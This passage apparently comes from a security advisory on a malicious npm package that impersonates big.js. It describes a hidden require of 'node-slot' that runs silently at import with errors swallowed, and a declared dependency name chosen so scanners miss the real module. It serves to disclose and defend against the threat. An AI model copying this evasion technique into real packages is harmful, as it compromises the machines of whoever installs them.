The require fires whenever a consumer imports the package, and all errors are swallowed so the call is invisible. The declared runtime dependency in package.json is 'block-slot' (^1.0.9), not 'node-slot' — the actual loaded module name does not match anything declared, so dependency-review tooling and SCA scanners auditing package.json will not see the real second-stage module. Whatever 'node-slot' resolves to in the installer's node_modules is executed silently at import time. The package has no legitimate relationship to big.js; the impersonation is the lure and the hidden loader is the payload.\n\n## Source: ghsa-malware (7e224f66376c69706384d59f24df0dc4b00d80e10910320a75bb5be49d4e33d0)\nAny computer that has this package installed or running should be considered fully compromised.
